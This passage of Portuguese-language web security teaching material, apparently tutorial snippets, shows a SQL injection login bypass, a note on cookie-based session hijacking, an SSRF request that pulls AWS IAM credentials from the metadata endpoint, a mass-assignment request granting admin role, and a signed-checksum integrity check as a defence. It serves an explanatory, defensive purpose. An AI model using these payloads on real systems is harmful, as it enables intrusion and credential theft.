' OR '1'='1' -- no campo de utilizador, o atacante transforma a query de validação numa que sempre retorna verdadeiro, efetivamente bypassando a autenticação.-- Query Vulnerável
SELECT * FROM users
WHERE username = '$username'
AND password = '$password'
-- Input Malicioso
username: admin'--
password: qualquercoisa
-- Query Resultante
SELECT * FROM users
WHERE username = 'admin'--'
AND password = '...'
-- Comentário SQL (--) elimina
-- verificação de senha
document.cookie permitindo session hijacking# Exemplo de verificação
# de integridade de ficheiro
# Gerar hash do ficheiro original
sha256sum update.zip > checksum.txt
# Assinar digitalmente o checksum
gpg --clearsign checksum.txt
# No cliente, verificar antes
# de executar atualização
gpg --verify checksum.txt.asc
sha256sum -c checksum.txt
if [ $? -eq 0 ]; then
echo "Integridade verificada"
./install.sh
else
echo "FALHA: Ficheiro corrompido"
exit 1
fi
# Exemplo de exploração SSRF
# em funcionalidade de webhook
POST /api/webhook HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/json
{
"url": "http://169.254.169.254/
latest/meta-data/
iam/security-credentials/"
}
# Servidor faz requisição ao
# metadata service e retorna
# credenciais AWS temporárias
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2024-..."
}
# Atacante utiliza credenciais
# para aceder recursos AWS
// Código vulnerável (Ruby on Rails)
def create
@user = User.new(params[:user])
@user.save
end
// Requisição normal
POST /users
{
"user": {
"name": "João Silva",
"email": "[email protected]",
"password": "SecurePass123"
}
}
// Requisição maliciosa
POST /users
{
"user": {
"name": "João Silva",
"email": "[email protected]",
"password": "SecurePass123",
"role": "admin",
"email_verified": true,
"account_balance": 1000000
}
}